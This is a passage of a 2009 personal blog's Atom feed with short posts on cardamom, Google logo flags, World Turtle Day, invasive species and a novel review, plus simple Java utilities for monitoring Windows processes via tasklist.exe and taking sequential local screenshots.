src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-2787306911107273157</id><published>2009-05-27T06:24:00.000-07:00</published><updated>2009-05-27T11:26:54.116-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><title type='text'>The cardamom habit - Carry it wherever you go</title><content type='html'>Cardamom which is known as the Queen of Spices smells good and is not yet known to cause any harm to the body. No wonder the Spices Board Of India is promoting it with gusto.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_uPAPPtCV9Oo/Sh1APEqVT2I/AAAAAAAAAFo/Oqn_CAAl0hw/s1600-h/cardamon_habit.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 150px;" src="http://1.bp.blogspot.com/_uPAPPtCV9Oo/Sh1APEqVT2I/AAAAAAAAAFo/Oqn_CAAl0hw/s200/cardamon_habit.JPG" alt="" id="BLOGGER_PHOTO_ID_5340495360824790882" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;A soldier came running to the king, and told him about how the Europeans were loading Spice rhizomes onto their ships. The soldier was scared that the Europeans will never come back for spices if they could grow it in their own country. The King laughed at the foolishness of the soldier and said "They can steal the seeds but they cant steal our monsoon".&lt;br /&gt;&lt;br /&gt;Although its easy to grow cardamom, it rarely blossoms outside the tropics. So the king was correct in his optimism, but the monsoons brought not only rain but also Europeans to India. So the next time you plan to leave the tropics, don't forget to carry it with you. Habits die hard&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-2787306911107273157?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/2787306911107273157/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=2787306911107273157' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2787306911107273157'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2787306911107273157'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/05/cardamom-habit-carry-it-wherever-you-go.html' title='The cardamom habit - Carry it wherever you go'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_uPAPPtCV9Oo/Sh1APEqVT2I/AAAAAAAAAFo/Oqn_CAAl0hw/s72-c/cardamon_habit.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-4015139033957945318</id><published>2009-05-22T23:55:00.000-07:00</published><updated>2009-05-23T00:09:27.264-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><title type='text'>Flags that have appeared in Google logos - till April 2009</title><content type='html'>This is a list of all flags that appeared in Google logos from 1999 to April 2009. It goes to prove that google is International and not limited to America.&lt;br /&gt;&lt;ol&gt;&lt;li&gt;US National flag for the government related sites search. (Uncle Sam search)&lt;/li&gt;&lt;li&gt;The French National flag appeared in the Google logo for &lt;a href="http://en.wikipedia.org/wiki/Bastille_Day"&gt;Bastille Day&lt;/a&gt; &lt;/li&gt;&lt;li&gt;The Canadian National flag appeared in the Google logo for &lt;a href="http://en.wikipedia.org/wiki/Canada_Day"&gt;Canada Day&lt;/a&gt; 2001&lt;/li&gt;&lt;li&gt;The Swiss National flag appeared in the Google logo for&lt;a href="http://en.wikipedia.org/wiki/Swiss_National_Day"&gt; Swiss National Day&lt;/a&gt; 2001&lt;/li&gt;&lt;li&gt;The South Korea National flag appeared in the Google logo for &lt;a href="http://en.wikipedia.org/wiki/Gwangbokjeol"&gt;Korean Liberation Day&lt;/a&gt;  or Gwangbokjeol 2001 &lt;/li&gt;&lt;li&gt;St George's Cross flag or National flag of England appeared in the Google logo for &lt;a href="http://en.wikipedia.org/wiki/St_George%27s_Day"&gt;St George' Day &lt;/a&gt;2002.&lt;/li&gt;&lt;/ol&gt;However, we are yet to see a Non-US ally's flag making it onto the google homepage. Either they are still in the cold war era or just dont know about other countries :) .&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-4015139033957945318?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/4015139033957945318/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=4015139033957945318' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/4015139033957945318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/4015139033957945318'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/05/flags-that-have-appeared-in-google.html' title='Flags that have appeared in Google logos - till April 2009'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-8247559377970497391</id><published>2009-05-22T07:29:00.000-07:00</published><updated>2009-05-22T07:38:58.696-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><category scheme='http://www.blogger.com/atom/ns#' term='nature'/><title type='text'>World Turtle Day - Fake Google Logo?</title><content type='html'>&lt;p class="western"&gt;Tomorrow 23rd May is World turtle day. It was started in the year 2000 by American Tortoise Rescue to bring about awareness about turtles and tortoises. It is celebrated in different ways like:&lt;br /&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;Dressing up like turtles&lt;/li&gt;&lt;li&gt;Turtle and tortoise Conservation efforts&lt;/li&gt;&lt;li&gt;Rescuing of turtles and tortoises from illegal captivity&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_uPAPPtCV9Oo/Sha3Fs5gx7I/AAAAAAAAAFg/KpTkbj1MtJ4/s1600-h/turtle_logo.GIF"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 75px;" src="http://3.bp.blogspot.com/_uPAPPtCV9Oo/Sha3Fs5gx7I/AAAAAAAAAFg/KpTkbj1MtJ4/s200/turtle_logo.GIF" alt="turtle google logo conservation" id="BLOGGER_PHOTO_ID_5338655716873914290" border="0" /&gt;&lt;/a&gt;&lt;p class="western"&gt;The main danger to turtles comes from human beings and many turtle species are endangered today due to excessive hunting. The flesh of turtles is considered a delicacy in many cultures. Turtle soup which is made from the flesh of the green turtle or the snapping turtle can lead to the killing of large number of turtles. Few endangered species of turtles are also killed for food, leading to further reduction in the population of the endangered species.&lt;/p&gt;   &lt;p class="western"&gt;Turtles can be saved from the fate of the dodo by bringing about awareness among people. Hope google decides to support the turtle conservation efforts by putting a logo on World turtle day.If  they can come up with a famous Turtle day Google logo, it will do a lot to help conserve turtles. Until then this fake google logo has to do.&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-8247559377970497391?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/8247559377970497391/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=8247559377970497391' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8247559377970497391'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8247559377970497391'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/05/world-turtle-day-fake-google-logo.html' title='World Turtle Day - Fake Google Logo?'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_uPAPPtCV9Oo/Sha3Fs5gx7I/AAAAAAAAAFg/KpTkbj1MtJ4/s72-c/turtle_logo.GIF' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-7434062165131851946</id><published>2009-05-22T07:23:00.000-07:00</published><updated>2009-05-22T07:28:05.892-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><category scheme='http://www.blogger.com/atom/ns#' term='nature'/><title type='text'>International Day for Biological Diversity - Invasive Alien Species</title><content type='html'>When I say alien species, I am not referring to green men from mars. These are species alien to a given eco-system. Plants, animals, pathogens and other organisms can all act as invasive alien species to destroy the biodiversity of a place. The conservation of biodiversity is being debated and tackled by the &lt;a href="http://www.cbd.int/idb/"&gt;Convention on Biodiversity&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The decline or elimination of native species can occur through:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt; Competition(Ex: Lantana camara, also known as Spanish Flag reproduces and spreads very quickly and poses a threat to other native species in few eco-systems)&lt;/li&gt;&lt;li&gt;Predation (EX: Rattus rattus, commonly known as the ship rat has caused extinctions and catastrophic declines of native birds on islands)&lt;/li&gt;&lt;li&gt;Transmission of Pathogens (Ex: Pathogens such as avian influenza A(H5N1)are attacking various organisms.)&lt;/li&gt;&lt;li&gt;Disruption of natural eco-system(Ex: Eichhornia crassipes, commonly known as Common Water Hyacinth has lead to disruption many ecosystems by choking lakes and making them unfit for fish.)&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt; While Governments perform customs checks, inspect shipments, conduct risk assessments and set quarantine regulations to try to limit the entry of invasive species.&lt;br /&gt;&lt;br /&gt;The problem can be best tackled by raising awareness among individuals and cooperation between governments. However, it might not be possible to stop the movement of organisms (especially microbes and plants) from one region to another in this era of globalization.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-7434062165131851946?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/7434062165131851946/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=7434062165131851946' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7434062165131851946'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7434062165131851946'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/05/international-day-for-biological.html' title='International Day for Biological Diversity - Invasive Alien Species'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-605088972008618843</id><published>2009-05-20T18:55:00.000-07:00</published><updated>2009-05-21T06:10:49.028-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='book'/><title type='text'>The Reluctant Fundamentalist - Mohsin Hamid</title><content type='html'>The reluctant fundamentalist written by &lt;a href="http://www.mohsinhamid.com/"&gt;Mohsin Hamid&lt;/a&gt; is the story of initial enchantment of a young Pakistani to America and later disillusionment. The novel is unique in that it all occurs over the course of one evening, but captures the life of not only Chengez, but of the untold thousands who are disappointed that America is not what they thought it to be.&lt;br /&gt;&lt;br /&gt;Written completely as the narrative of one person, the narrator even poses the questions that the American might have felt like asking. More than once, I felt the novel was written in urdu and then translated into English, no not because of any lack in the language, but of the way in which the narrative proceeds. One simply can’t write few eastern ideas in a western language, but Hamid seems to have succeeded in this as well.&lt;br /&gt;&lt;br /&gt;Furthermore the novel seemed to be the expanded form of a short story written in the Afsana form of Urdu literature. The existence of a short story version of the novel, “Focus on Fundamentals” seems to hint at the same.&lt;br /&gt;&lt;br /&gt;When Mohsin talks about Lahore with its chai and jallabi’s, one could relate it to any one of the many Indian cities. The threat of a nuclear catastrophe and the futility of a bloody war also echo similar sentiments from across the border.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-605088972008618843?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/605088972008618843/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=605088972008618843' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/605088972008618843'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/605088972008618843'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/05/reluctant-fundamentalist-mohsin-hamid.html' title='The Reluctant Fundamentalist - Mohsin Hamid'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-6774436250552707079</id><published>2009-05-20T07:34:00.000-07:00</published><updated>2009-05-20T07:38:36.707-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='tech'/><title type='text'>Windows Process Monitor in java</title><content type='html'>It is required to monitor the status of few critical processes and services on business critical systems. Similarly other resources such as memory used and CPU time also require to be monitored.&lt;br /&gt;&lt;br /&gt;&lt;p class="western"&gt;These simple set of functions make use of the windows tasklist.exe utility to perform following functions:&lt;/p&gt;  &lt;ul&gt;&lt;li&gt;Alert when a particular process, service, module is started.&lt;/li&gt;&lt;li&gt;Alert when memory usage of any particular or any process exceeds a certain value.&lt;/li&gt;&lt;li&gt;Alert if any particular or any process is not responding.&lt;/li&gt;&lt;li&gt;Alert if CPU Time for a particular process exceeds a certain value.&lt;/li&gt;&lt;li&gt;Monitor if a particular number of instances of a service, process, and module is running. If it falls below or goes above the mentioned number of instances- generate alert.&lt;/li&gt;&lt;/ul&gt;    The java functions to use are given below.&lt;br /&gt;&lt;br /&gt;import java.io.*;&lt;br /&gt;&lt;br /&gt;import java.util.*;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;public class GetProcess {&lt;br /&gt;&lt;br /&gt;public static void main(String[] args){&lt;br /&gt;&lt;br /&gt;//few example uses of the functions.&lt;br /&gt;&lt;br /&gt;System.out.println(CheckIfProgramXIsNotResponding(""));&lt;br /&gt;&lt;br /&gt;System.out.println(CheckIfProgramXIsUsingMoreThanYKBOfMemory("java.exe",4200));&lt;br /&gt;&lt;br /&gt;System.out.println(CheckIfProgramXIsUsingMoreThanZOfCPUTime("System", 0,0,1));&lt;br /&gt;&lt;br /&gt;System.out.println(CheckIfNInstancesOfProgramXAreExecuting("svchost.exe",5));&lt;br /&gt;&lt;br /&gt;System.out.println(CheckIfNInstancesOfServiceXAreRunning("MDM",1));&lt;br /&gt;&lt;br /&gt;System.out.println(CheckIfNInstancesOfModuleXAreRunning("ntdll.dll",29));&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*These functions can be used along with a configuration file or a front end to perform monitoring of Windows systems.*/&lt;br /&gt;&lt;br /&gt;private static boolean CheckIfProgramXIsNotResponding(String ProgName){&lt;br /&gt;&lt;br /&gt;//returns true if given program is NOT RESPONDING. If no argument is passed, returns true if any program is not responding.&lt;br /&gt;&lt;br /&gt;String argument="tasklist.exe /NH /FI ".concat("\"").concat("STATUS eq NOT RESPONDING").concat("\"");&lt;br /&gt;&lt;br /&gt;return checkProcessInfo(argument, ProgName);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;private static boolean CheckIfProgramXIsUsingMoreThanYKBOfMemory(String ProgName,int MemoryInKb){&lt;br /&gt;&lt;br /&gt;//returns true if given program is using more than Y KB of Memory.If no argument is passed, returns true if any programs memory is more than Y KB.&lt;br /&gt;&lt;br /&gt;String line,argument="tasklist.exe /NH /FI ".concat("\"").concat("MEMUSAGE gt ")+MemoryInKb;&lt;br /&gt;&lt;br /&gt;argument=argument.concat("\"");&lt;br /&gt;&lt;br /&gt;return checkProcessInfo(argument, ProgName);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;private static boolean CheckIfProgramXIsUsingMoreThanZOfCPUTime(String ProgName,int Hours,int Minutes,int Seconds){&lt;br /&gt;&lt;br /&gt;//returns true if given program is using more than Z CPUTime.If no argument is passed, returns true if any programs memory is using more than Z CPUTime.&lt;br /&gt;&lt;br /&gt;String line,argument="tasklist.exe /NH /FI ".concat("\"").concat("CPUTIME gt ")+Hours+":"+Minutes+":"+Seconds;&lt;br /&gt;&lt;br /&gt;argument=argument.concat("\"");&lt;br /&gt;&lt;br /&gt;return checkProcessInfo(argument, ProgName);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;private static boolean CheckIfNInstancesOfProgramXAreExecuting(String ProgName,int n){&lt;br /&gt;&lt;br /&gt;//returns true if N instances of ProgramX are executing.&lt;br /&gt;&lt;br /&gt;String line,argument="tasklist.exe /NH /FI ".concat("\"").concat("IMAGENAME eq ").concat(ProgName).concat("\"");&lt;br /&gt;&lt;br /&gt;return checkProcessCount(argument,ProgName,n);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;private static boolean CheckIfNInstancesOfServiceXAreRunning(String ProgName,int n){&lt;br /&gt;&lt;br /&gt;//returns true if N instances of Service X are running.&lt;br /&gt;&lt;br /&gt;String line,argument="tasklist.exe /NH /FI ".concat("\"").concat("SERVICES eq ").concat(ProgName).concat("\"");&lt;br /&gt;&lt;br /&gt;return checkProcessCount(argument,"",n);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;private static boolean CheckIfNInstancesOfModuleXAreRunning(String ProgName,int n){&lt;br /&gt;&lt;br /&gt;//returns true if N instances of Module X are running.&lt;br /&gt;&lt;br /&gt;String line,argument="tasklist.exe /NH /M ".concat(ProgName);&lt;br /&gt;&lt;br /&gt;return checkProcessCount(argument,"",n);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;private static boolean checkProcessInfo(String argument,String ProgName){&lt;br /&gt;&lt;br /&gt;String line;&lt;br /&gt;&lt;br /&gt;try {&lt;br /&gt;&lt;br /&gt;System.out.println(argument);&lt;br /&gt;&lt;br /&gt;Process p = Runtime.getRuntime().exec(argument);&lt;br /&gt;&lt;br /&gt;BufferedReader input = new BufferedReader(new InputStreamReader(p.getInputStream()));&lt;br /&gt;&lt;br /&gt;while ((line = input.readLine()) != null) {&lt;br /&gt;&lt;br /&gt;if (!line.trim().equals("")) {&lt;br /&gt;&lt;br /&gt;if(line.startsWith(ProgName)){&lt;br /&gt;&lt;br /&gt;return true;}//return status&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;input.close();&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;catch (Exception err) {&lt;br /&gt;&lt;br /&gt;err.printStackTrace();&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;return false;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;private static boolean checkProcessCount(String argument,String ProgName,int n){&lt;br /&gt;&lt;br /&gt;String line;&lt;br /&gt;&lt;br /&gt;int count=0;&lt;br /&gt;&lt;br /&gt;try {&lt;br /&gt;&lt;br /&gt;System.out.println(argument);&lt;br /&gt;&lt;br /&gt;Process p = Runtime.getRuntime().exec(argument);&lt;br /&gt;&lt;br /&gt;BufferedReader input = new BufferedReader(new InputStreamReader(p.getInputStream()));&lt;br /&gt;&lt;br /&gt;while ((line = input.readLine()) != null) {&lt;br /&gt;&lt;br /&gt;if (!line.trim().equals("")) {&lt;br /&gt;&lt;br /&gt;if(line.startsWith(ProgName)){&lt;br /&gt;&lt;br /&gt;count++;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;input.close();&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;catch (Exception err) {&lt;br /&gt;&lt;br /&gt;err.printStackTrace();&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;System.out.println(count);&lt;br /&gt;&lt;br /&gt;if(n==count){&lt;br /&gt;&lt;br /&gt;return true;}//return status&lt;br /&gt;&lt;br /&gt;return false;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-6774436250552707079?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/6774436250552707079/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=6774436250552707079' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/6774436250552707079'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/6774436250552707079'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/05/windows-process-monitor-in-java.html' title='Windows Process Monitor in java'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-2524490602778962991</id><published>2009-05-12T06:15:00.000-07:00</published><updated>2009-05-12T06:48:33.352-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><title type='text'>Sequential Screen Capture Utility</title><content type='html'>This is a simple java program that allows you take sequential screen prints with very less efforts.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;import java.io.*;&lt;br /&gt;import java.awt.*;&lt;br /&gt;import java.awt.event.*;&lt;br /&gt;import java.util.Calendar;&lt;br /&gt;import javax.imageio.ImageIO;&lt;br /&gt;import java.awt.image.BufferedImage;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;public class ScreenCapture {&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;public static void main(String[] argv) throws Exception{&lt;br /&gt;&lt;br /&gt;int i,time;&lt;br /&gt;String option="S";&lt;br /&gt;if(argv.length &gt; 0)       {&lt;br /&gt;try {&lt;br /&gt;time = Integer.parseInt(argv[0]);&lt;br /&gt;for(i=0;i&lt; time;i++){&lt;br /&gt;captureandstorescreenshot();}}catch(NumberFormatException nfe)           {&lt;br /&gt; if (argv[0].equalsIgnoreCase("-help"))&lt;br /&gt; {System.out.println("ScreenCapture Utility \n\n Usage:Run the program to capture screenshots for the next x seconds using the command [javac ScreenCapture x].\n Ex:javac ScreenCapture 20\n");&lt;br /&gt; }&lt;br /&gt; else if (argv[0].equalsIgnoreCase("-SE"))&lt;br /&gt; {&lt;br /&gt;    while(!option.equalsIgnoreCase("X")){&lt;br /&gt;    InfiniteLoop t = new InfiniteLoop();    &lt;br /&gt;    if(option.equalsIgnoreCase("S")){&lt;br /&gt;    t.start();}&lt;br /&gt;    Console console = System.console();&lt;br /&gt;    option= console.readLine("Enter E to end,S to start and X to exit?");&lt;br /&gt;    if(option.equalsIgnoreCase("E")){&lt;br /&gt;    Thread.sleep(1);&lt;br /&gt;    t.interrupt();}&lt;br /&gt;    }&lt;br /&gt; }&lt;br /&gt; else{&lt;br /&gt; System.err.println(argv[0]+" is not a valid number of seconds.'javac ScreenCapture -help' for syntax."); &lt;br /&gt; System.exit(-1);}}}&lt;br /&gt;}&lt;br /&gt;public static void CaptureAndStoreScreenShot(){&lt;br /&gt;try{&lt;br /&gt;Calendar rightNow = Calendar.getInstance();&lt;br /&gt;    Dimension scrensize = Toolkit.getDefaultToolkit().getScreenSize();    &lt;br /&gt;    Robot robot = new Robot();&lt;br /&gt;    BufferedImage img = robot.createScreenCapture(new Rectangle(scrensize)); &lt;br /&gt;//difference (measured in milliseconds) between the current time and midnight, January 1, 1970 UTC&lt;br /&gt;    String filename ="screen"+System.currentTimeMillis()+".jpg";&lt;br /&gt;    ImageIO.write(img, "JPG", new File(filename)); &lt;br /&gt;}catch(Exception e){return;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;class InfiniteLoop extends Thread&lt;br /&gt;{&lt;br /&gt;public void run(){&lt;br /&gt;    for( ; ;){&lt;br /&gt;     ScreenCapture.CaptureAndStoreScreenShot();&lt;br /&gt;     if (Thread.interrupted()) {&lt;br /&gt;//     System.out.println("Interrupted");&lt;br /&gt;     return;&lt;br /&gt;     }&lt;br /&gt;    }&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;The below error occurs in older versions(Pre java 2) while interrupting the thread. It seems like a bug in older versions of java.&lt;br /&gt;&lt;br /&gt;AWT blocker activation interrupted:&lt;br /&gt;java.lang.InterruptedException&lt;br /&gt;        at java.lang.Object.wait(Native Method)&lt;br /&gt;        at java.lang.Object.wait(Object.java:429)&lt;br /&gt;        at sun.awt.AWTAutoShutdown.activateBlockerThread(AWTAutoShutdown.java:30&lt;br /&gt;9)&lt;br /&gt;        at sun.awt.AWTAutoShutdown.setToolkitBusy(AWTAutoShutdown.java:226)&lt;br /&gt;        at sun.awt.AWTAutoShutdown.notifyToolkitThreadBusy(AWTAutoShutdown.java:&lt;br /&gt;118)&lt;br /&gt;        at sun.awt.windows.WToolkit.&lt;init&gt;(WToolkit.java:217)&lt;br /&gt;        at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)&lt;br /&gt;&lt;br /&gt;        at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstruct&lt;br /&gt;orAccessorImpl.java:39)&lt;br /&gt;        at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingC&lt;br /&gt;onstructorAccessorImpl.java:27)&lt;br /&gt;        at java.lang.reflect.Constructor.newInstance(Constructor.java:274)&lt;br /&gt;        at java.lang.Class.newInstance0(Class.java:308)&lt;br /&gt;        at java.lang.Class.newInstance(Class.java:261)&lt;br /&gt;        at java.awt.Toolkit$2.run(Toolkit.java:760)&lt;br /&gt;        at java.security.AccessController.doPrivileged(Native Method)&lt;br /&gt;        at java.awt.Toolkit.getDefaultToolkit(Toolkit.java:739)&lt;br /&gt;        at ScreenCapture.CaptureAndStoreScreenShot(ScreenCapture.java:44)&lt;br /&gt;        at InfiniteLoop.run(ScreenCapture.java:58)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-2524490602778962991?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/2524490602778962991/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=2524490602778962991' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2524490602778962991'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2524490602778962991'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/05/sequential-screen-capture-utility.html' title='Sequential Screen Capture Utility'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-4419230505102140516</id><published>2009-04-24T04:46:00.000-07:00</published><updated>2009-04-24T04:54:13.610-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><title type='text'>Java Desktop Fortune teller</title><content type='html'>This is a simple java desktop application that "predicts" your fortune. It makes use of a getfortune method to display predefined fortune texts in a label. The getFortune method uses the random function from the "import java.lang.Math.*" package to choose the fortune to display.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_uPAPPtCV9Oo/SfGntbIBpWI/AAAAAAAAAFY/tgNDc5lCEhc/s1600-h/Fortune_Teller.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 118px;" 